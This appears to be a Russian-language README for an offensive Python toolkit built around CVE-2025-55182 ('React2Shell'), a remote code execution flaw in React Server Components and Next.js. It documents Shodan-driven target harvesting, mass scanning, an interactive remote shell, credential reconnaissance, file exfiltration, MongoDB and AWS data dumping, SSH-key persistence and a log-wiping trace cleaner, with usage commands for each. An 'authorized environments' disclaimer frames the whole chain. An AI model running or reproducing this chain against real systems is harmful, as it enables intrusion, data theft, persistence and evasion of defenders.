
Инструментарий для CVE-2025-55182, также известный как React2Shell.
Набор инструментов на Python для валидации и исследования CVE-2025-55182, также известной как React2Shell, в авторизованных средах. Уязвимость затрагивает React Server Components и может открывать приложения, построенные с использованием таких фреймворков, как Next.js, для неаутентифицированного удаленного выполнения кода. Набор инструментов объединяет сбор целей, массовую валидацию, интерактивную тестовую оболочку, перечисление хостов и опциональные утилиты для пост-валидации.
hosts_scanner.py выполняет только фиксированную
метку echo VULN_TEST при массовом обнаруженииЭтот репозиторий является вспомогательным средством для оценки, а не заменой проверки официального бюллетеня и установки патчей от поставщика.
| Инструмент | Назначение | Вывод или эффект |
|---|---|---|
shodan_parser.py | Открывает аутентифицированные поиски Shodan из списка запросов и собирает нормализованные источники HTTP(S). | Добавляет уникальные хосты в files/targets.txt. |
hosts_scanner.py | Параллельно проверяет список целей с фиксированной командой VULN_TEST. | Записывает подтвержденные цели в files/vulnerable.txt, а неудачные – в files/trash.txt. |
exploit.py | Повторно валидирует одну цель и предоставляет интерактивную командную сессию. | Выводит результат удаленной команды в терминал. |
universal_scanner.py | Собирает информацию о системе, контейнере, сети, файловой системе, процессах, раскрытии учетных данных и рисках привилегий. | Сохраняет детальные результаты в scan_results.json. |
infrastructure/universal_download.py | Передает удаленный файл через командный канал возобновляемыми чанками в Base64. | Создает или возобновляет локальный файл и проверяет его размер. |
infrastructure/mongo_proxy.py | Использует валидированный хост в качестве сетевого пути для инвентаризации MongoDB и ограниченной выборки. | Выводит список баз данных, коллекций, количества и небольшую выборку. |
infrastructure/mongo_dump.py | Экспортирует одну базу данных MongoDB или все несистемные базы с ограничением на коллекцию. | Создает JSON-файл в /tmp на оцениваемом хосте. |
infrastructure/aws_dump.py | Инвентаризирует ресурсы AWS, доступные роли задачи ECS. | Создает JSON-файл в /tmp; может включать конфиденциальные значения. |
infrastructure/install_ssh_key.py | Добавляет открытый ключ в authorized_keys текущего удаленного пользователя. | Изменяет удаленную конфигурацию SSH и устанавливает персистентность. |
infrastructure/trace_cleaner.py | Удаляет артефакты набора инструментов и пытается очистить историю, кеши и логи. | Разрушительно изменяет удаленные файлы; используйте только в рамках одобренной процедуры очистки. |
Инструменты, зависящие от RCE, ожидают Linux-подобную цель с распространенными утилитами оболочки. Некоторые вспомогательные инструменты дополнительно ожидают, что Node.js и соответствующие пакеты npm уже доступны на оцениваемом хосте.
shodan_parser.pypython -m venv .venv
Активируйте окружение:
# Linux или macOS
source .venv/bin/activate
# Windows PowerShell
.\.venv\Scripts\Activate.ps1
Установите зависимости:
python -m pip install -r requirements.txt
python -m playwright install chromium
Для сбора через Shodan скопируйте .env.example в .env и укажите LOGIN и
PASSWORD. Никогда не коммитьте .env.
files/queries.txt или укажите авторизованные
цели напрямую в files/targets.txt.python shodan_parser.py.python hosts_scanner.py --file files/targets.txt --concurrency 50 --timeout 30
files/vulnerable.txt и вручную проверьте принадлежность и охват перед
запуском любых утилит выполнения команд или инфраструктурных утилит.Чтобы сбросить список пропущенных сканированием:
python hosts_scanner.py --file files/targets.txt --clear-trash
python exploit.py https://target.example
python universal_scanner.py https://target.example
Инфраструктурные утилиты:
python infrastructure/universal_download.py <TARGET> <REMOTE_PATH> [LOCAL_FILE] [CHUNK_SIZE]
python infrastructure/mongo_proxy.py <TARGET> <MONGODB_URI>
python infrastructure/mongo_dump.py <TARGET> <MONGODB_URI> <DATABASE|ALL> [OUTPUT_FILE] [LIMIT]
python infrastructure/aws_dump.py <TARGET> [OUTPUT_FILE]
python infrastructure/install_ssh_key.py <TARGET> [PUBLIC_KEY_PATH]
python infrastructure/trace_cleaner.py <TARGET>
Запустите любой скрипт без аргументов, чтобы увидеть его полную справку по командной строке.
bash, base64, dd и timeout.